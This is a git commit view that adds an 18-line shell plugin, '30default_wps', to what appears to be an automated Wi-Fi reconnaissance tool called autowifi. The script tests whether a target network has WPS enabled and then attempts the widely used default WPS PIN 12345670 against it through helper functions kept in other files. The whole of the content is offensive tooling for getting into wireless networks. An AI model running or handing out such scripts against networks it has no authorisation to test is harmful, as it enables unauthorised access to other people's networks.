diff options
author | lassulus <lass@aidsballs.de> | 2014-12-20 22:23:01 +0100 |
---|---|---|
committer | lassulus <lass@aidsballs.de> | 2014-12-20 22:23:01 +0100 |
commit | 6dd7a15020aab595e087680a33b719a78ef6c410 (patch) | |
tree | 5d33865bc4cb8d7cf0f6e54481c5f45f4e3dbab9 /recon/autowifi/plugins/30default_wps | |
parent | dbaee4aae713410b813f871bb8e8594a9d84f814 (diff) |
dump autowifi trash
Diffstat (limited to 'recon/autowifi/plugins/30default_wps')
-rwxr-xr-x | recon/autowifi/plugins/30default_wps | 18 |
1 files changed, 18 insertions, 0 deletions
diff --git a/recon/autowifi/plugins/30default_wps b/recon/autowifi/plugins/30default_wps new file mode 100755 index 00000000..50ad2676 --- /dev/null +++ b/recon/autowifi/plugins/30default_wps @@ -0,0 +1,18 @@ +#!/bin/sh +# on MANY WPS-enabled devices the pin is 12345670 , so we can give it a shot +# http://www.wotan.cc/?p=75 +cd $(dirname $(readlink -f $0)) +. ../lib/wps +. ../lib/plugin_core + +parse_plugin_args "$@" +check_painmode +DEFAULT_PIN="${DEFAULT_PIN:-12345670}" + +if has_wps "$ENC"; then + echo "trying PIN $DEFAULT_PIN against $ESSID" >&2 + try_wps_pin "$@" $DEFAULT_PIN +else + echo "Network $ESSID not WPS enabled" + exit 1 +fi |